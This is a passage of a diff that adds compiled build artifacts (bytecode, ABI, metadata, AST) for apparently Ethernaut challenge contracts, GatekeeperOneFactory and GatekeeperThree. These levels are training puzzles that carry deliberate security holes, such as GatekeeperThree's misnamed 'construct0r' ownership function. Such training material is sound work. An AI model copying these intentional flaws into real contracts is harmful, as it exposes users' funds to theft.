d5b818060c01c61ffff168160c01c63ffffffff16146101525760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f2070617274206f6e65000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101d15760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074776f00000000000000000000000000000000000000000000006064820152608401610149565b3261ffff168160c01c63ffffffff16146102535760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074687265650000000000000000000000000000000000000000006064820152608401610149565b5f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016321790556001915050919050565b5f60208284031215610296575f80fd5b81357fffffffffffffffff000000000000000000000000000000000000000000000000811681146102c5575f80fd5b9392505050565b5f826102ff577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b50069056fea26469706673582212205420005dfc556417d569625d026a501d56b27af6c07caf3648e6877d9ba3995364736f6c63430008180033a2646970667358221220556ab9dd067bcc2c27b75c1efff3cc66e56fc9204b8ca7d14f8ff15a05b39b6364736f6c63430008180033","sourceMap":"116:466:82:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;161:195:82;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;161:195:82;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;362:218:82;;;;;;;;;;-1:-1:-1;362:218:82;;;;;:::i;:::-;;:::i;:::-;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;362:218:82;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;161:195:82:-;235:7;271:22;296:19;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;271:44:82;161:195;-1:-1:-1;;;161:195:82:o;362:218::-;462:4;478:22;517:9;478:49;;566:7;-1:-1:-1;;;;;544:29:82;:8;-1:-1:-1;;;;;544:16:82;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;544:29:82;;;362:218;-1:-1:-1;;;;362:218:82:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;1707:2:155;2161:73:23::1;::::0;::::1;1689:21:155::0;1746:2;1726:18;;;1719:30;1785:34;1765:18;;;1758:62;1856:8;1836:18;;;1829:36;1882:19;;2161:73:23::1;;;;;;;;;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2114:2:155;1414:68:23;;;2096:21:155;;;2133:18;;;2126:30;2192:34;2172:18;;;2165:62;2244:18;;1414:68:23;1912:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1249:251::-;1319:6;1372:2;1360:9;1351:7;1347:23;1343:32;1340:52;;;1388:1;1385;1378:12;1340:52;1420:9;1414:16;1439:31;1464:5;1439:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/GatekeeperOneFactory.sol\":\"GatekeeperOneFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/GatekeeperOne.sol\":{\"keccak256\":\"0x56cca3158a5a2e02a5a3d955a442a58b9f3e28d667b5a590e8d21bd10414717e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://4d0331f3fa95b69840d34ab5f63ef1d8abe4025f2fd88e9e800db027f0acbcf0\",\"dweb:/ipfs/QmP7N4B5rmWd5XiLyYnwZPVBLMEseTYVkZTDGLMmC3rBBQ\"]},\"src/levels/GatekeeperOneFactory.sol\":{\"keccak256\":\"0xa38dd1faa0074f27317f467c83b24f7dc350da5607a46c8b318334a44a5035a7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f4b960535752cf5a17f97c8429d2d8be56f3a8babe2e9837688ee1c79bc4ced4\",\"dweb:/ipfs/QmaAxDwkECTL93Zk1WzhUnvVQ6dAFmguTnH1Jgte6wJf7w\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/GatekeeperOneFactory.sol":"GatekeeperOneFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/GatekeeperOne.sol":{"keccak256":"0x56cca3158a5a2e02a5a3d955a442a58b9f3e28d667b5a590e8d21bd10414717e","urls":["bzz-raw://4d0331f3fa95b69840d34ab5f63ef1d8abe4025f2fd88e9e800db027f0acbcf0","dweb:/ipfs/QmP7N4B5rmWd5XiLyYnwZPVBLMEseTYVkZTDGLMmC3rBBQ"],"license":"MIT"},"src/levels/GatekeeperOneFactory.sol":{"keccak256":"0xa38dd1faa0074f27317f467c83b24f7dc350da5607a46c8b318334a44a5035a7","urls":["bzz-raw://f4b960535752cf5a17f97c8429d2d8be56f3a8babe2e9837688ee1c79bc4ced4","dweb:/ipfs/QmaAxDwkECTL93Zk1WzhUnvVQ6dAFmguTnH1Jgte6wJf7w"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/GatekeeperOneFactory.sol","id":52660,"exportedSymbols":{"Context":[48281],"GatekeeperOne":[52604],"GatekeeperOneFactory":[52659],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:550:82","nodes":[{"id":52606,"nodeType":"PragmaDirective","src":"33:23:82","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":52607,"nodeType":"ImportDirective","src":"58:26:82","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":52660,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":52608,"nodeType":"ImportDirective","src":"85:29:82","nodes":[],"absolutePath":"src/levels/GatekeeperOne.sol","file":"./GatekeeperOne.sol","nameLocation":"-1:-1:-1","scope":52660,"sourceUnit":52605,"symbolAliases":[],"unitAlias":""},{"id":52659,"nodeType":"ContractDefinition","src":"116:466:82","nodes":[{"id":52634,"nodeType":"FunctionDefinition","src":"161:195:82","nodes":[],"body":{"id":52633,"nodeType":"Block","src":"244:112:82","nodes":[],"statements":[{"expression":{"id":52618,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52612,"src":"254:7:82","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":52619,"nodeType":"ExpressionStatement","src":"254:7:82"},{"assignments":[52622],"declarations":[{"constant":false,"id":52622,"mutability":"mutable","name":"instance","nameLocation":"285:8:82","nodeType":"VariableDeclaration","scope":52633,"src":"271:22:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"},"typeName":{"id":52621,"nodeType":"UserDefinedTypeName","pathNode":{"id":52620,"name":"GatekeeperOne","nameLocations":["271:13:82"],"nodeType":"IdentifierPath","referencedDeclaration":52604,"src":"271:13:82"},"referencedDeclaration":52604,"src":"271:13:82","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"visibility":"internal"}],"id":52627,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":52625,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"296:17:82","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_GatekeeperOne_$52604_$","typeString":"function () returns (contract GatekeeperOne)"},"typeName":{"id":52624,"nodeType":"UserDefinedTypeName","pathNode":{"id":52623,"name":"GatekeeperOne","nameLocations":["300:13:82"],"nodeType":"IdentifierPath","referencedDeclaration":52604,"src":"300:13:82"},"referencedDeclaration":52604,"src":"300:13:82","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}}},"id":52626,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"296:19:82","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"nodeType":"VariableDeclarationStatement","src":"271:44:82"},{"expression":{"arguments":[{"id":52630,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52622,"src":"340:8:82","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}],"id":52629,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"332:7:82","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":52628,"name":"address","nodeType":"ElementaryTypeName","src":"332:7:82","typeDescriptions":{}}},"id":52631,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"332:17:82","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":52617,"id":52632,"nodeType":"Return","src":"325:24:82"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"170:14:82","overrides":{"id":52614,"nodeType":"OverrideSpecifier","overrides":[],"src":"217:8:82"},"parameters":{"id":52613,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52612,"mutability":"mutable","name":"_player","nameLocation":"193:7:82","nodeType":"VariableDeclaration","scope":52634,"src":"185:15:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52611,"name":"address","nodeType":"ElementaryTypeName","src":"185:7:82","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"184:17:82"},"returnParameters":{"id":52617,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52616,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52634,"src":"235:7:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52615,"name":"address","nodeType":"ElementaryTypeName","src":"235:7:82","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"234:9:82"},"scope":52659,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":52658,"nodeType":"FunctionDefinition","src":"362:218:82","nodes":[],"body":{"id":52657,"nodeType":"Block","src":"468:112:82","nodes":[],"statements":[{"assignments":[52646],"declarations":[{"constant":false,"id":52646,"mutability":"mutable","name":"instance","nameLocation":"492:8:82","nodeType":"VariableDeclaration","scope":52657,"src":"478:22:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"},"typeName":{"id":52645,"nodeType":"UserDefinedTypeName","pathNode":{"id":52644,"name":"GatekeeperOne","nameLocations":["478:13:82"],"nodeType":"IdentifierPath","referencedDeclaration":52604,"src":"478:13:82"},"referencedDeclaration":52604,"src":"478:13:82","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"visibility":"internal"}],"id":52650,"initialValue":{"arguments":[{"id":52648,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52636,"src":"517:9:82","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":52647,"name":"GatekeeperOne","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52604,"src":"503:13:82","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperOne_$52604_$","typeString":"type(contract GatekeeperOne)"}},"id":52649,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"503:24:82","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"nodeType":"VariableDeclarationStatement","src":"478:49:82"},{"expression":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":52655,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":52651,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52646,"src":"544:8:82","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperOne_$52604","typeString":"contract GatekeeperOne"}},"id":52652,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"553:7:82","memberName":"entrant","nodeType":"MemberAccess","referencedDeclaration":52495,"src":"544:16:82","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":52653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"544:18:82","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"id":52654,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52638,"src":"566:7:82","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"544:29:82","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":52643,"id":52656,"nodeType":"Return","src":"537:36:82"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"371:16:82","overrides":{"id":52640,"nodeType":"OverrideSpecifier","overrides":[],"src":"444:8:82"},"parameters":{"id":52639,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52636,"mutability":"mutable","name":"_instance","nameLocation":"404:9:82","nodeType":"VariableDeclaration","scope":52658,"src":"388:25:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":52635,"name":"address","nodeType":"ElementaryTypeName","src":"388:15:82","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":52638,"mutability":"mutable","name":"_player","nameLocation":"423:7:82","nodeType":"VariableDeclaration","scope":52658,"src":"415:15:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":52637,"name":"address","nodeType":"ElementaryTypeName","src":"415:7:82","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"387:44:82"},"returnParameters":{"id":52643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":52642,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":52658,"src":"462:4:82","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":52641,"name":"bool","nodeType":"ElementaryTypeName","src":"462:4:82","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"461:6:82"},"scope":52659,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":52609,"name":"Level","nameLocations":["149:5:82"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"149:5:82"},"id":52610,"nodeType":"InheritanceSpecifier","src":"149:5:82"}],"canonicalName":"GatekeeperOneFactory","contractDependencies":[52604],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[52659,55508,46700,48281],"name":"GatekeeperOneFactory","nameLocation":"125:20:82","scope":52660,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":82} \ No newline at end of file diff --git a/contracts/out/GatekeeperThree.sol/GatekeeperThree.json b/contracts/out/GatekeeperThree.sol/GatekeeperThree.json new file mode 100644 index 000000000..b5464c9fd --- /dev/null +++ b/contracts/out/GatekeeperThree.sol/GatekeeperThree.json @@ -0,0 +1 @@ +{"abi":[{"type":"receive","stateMutability":"payable"},{"type":"function","name":"allowEntrance","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"construct0r","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"createTrick","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"enter","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"entrant","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"getAllowance","inputs":[{"name":"_password","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"trick","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract SimpleTrick"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506106ee8061001d5f395ff3fe60806040526004361061007c575f3560e01c8063b9966e561161004c578063b9966e5614610130578063c960174e14610161578063e97dcb6214610180578063f7edf09914610194575f80fd5b80630c3d9fed14610087578063690da2b2146100bc5780638da5cb5b146100f35780639db31d7714610111575f80fd5b3661008357005b5f80fd5b348015610092575f80fd5b506001546100a790600160a01b900460ff1681565b60405190151581526020015b60405180910390f35b3480156100c7575f80fd5b506002546100db906001600160a01b031681565b6040516001600160a01b0390911681526020016100b3565b3480156100fe575f80fd5b505f546100db906001600160a01b031681565b34801561011c575f80fd5b506001546100db906001600160a01b031681565b34801561013b575f80fd5b5061015f5f805473ffffffffffffffffffffffffffffffffffffffff191633179055565b005b34801561016c575f80fd5b5061015f61017b3660046103e0565b6101a8565b34801561018b575f80fd5b5061015f610264565b34801561019f575f80fd5b5061015f61030a565b6002546040517f9e4b2e47000000000000000000000000000000000000000000000000000000008152600481018390526001600160a01b0390911690639e4b2e47906024016020604051808303815f875af1158015610209573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022d91906103f7565b1561026157600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b1790555b50565b5f546001600160a01b03163314610279575f80fd5b5f546001600160a01b0316320361028e575f80fd5b60018054600160a01b900460ff161515146102a7575f80fd5b66038d7ea4c68000471180156102e357505f80546040516001600160a01b03909116919066038d7ea4c680009082818181858883f11593505050505b15610308576001805473ffffffffffffffffffffffffffffffffffffffff1916321790555b565b30604051610317906103d3565b6001600160a01b039091168152602001604051809103905ff080158015610340573d5f803e3d5ffd5b506002805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169182179055604080517f4cbb817f0000000000000000000000000000000000000000000000000000000081529051634cbb817f916004808201925f9290919082900301818387803b1580156103bb575f80fd5b505af11580156103cd573d5f803e3d5ffd5b50505050565b61029b8061041e83390190565b5f602082840312156103f0575f80fd5b5035919050565b5f60208284031215610407575f80fd5b81518015158114610416575f80fd5b939250505056fe608060405242600255348015610013575f80fd5b5060405161029b38038061029b83398101604081905261003291610056565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610083565b5f60208284031215610066575f80fd5b81516001600160a01b038116811461007c575f80fd5b9392505050565b61020b806100905f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e4b2e471161004d5780639e4b2e47146100c9578063b7e00291146100ec578063d4b83992146100f4575f80fd5b80634cbb817f14610068578063690da2b214610099575b5f80fd5b610097600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001630179055565b005b6001546100ac906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100dc6100d73660046101be565b610106565b60405190151581526020016100c0565b610097610122565b5f546100ac906001600160a01b031681565b5f600254820361011857506001919050565b5050426002555f90565b303314801561013c57506001546001600160a01b03163014155b156101bc575f546002546040517fc960174e0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169163c960174e9161018e9160040190815260200190565b5f604051808303815f87803b1580156101a5575f80fd5b505af11580156101b7573d5f803e3d5ffd5b505050505b565b5f602082840312156101ce575f80fd5b503591905056fea264697066735822122092638c9cf5903636f306a28729cd199a98c3e40cf6090bb4885432dde697b21d64736f6c63430008180033a264697066735822122004ec1558c477d8267989f4fb6808aa81eb4b010971406c03a1d94f9d1699324264736f6c63430008180033","sourceMap":"729:976:83:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040526004361061007c575f3560e01c8063b9966e561161004c578063b9966e5614610130578063c960174e14610161578063e97dcb6214610180578063f7edf0991461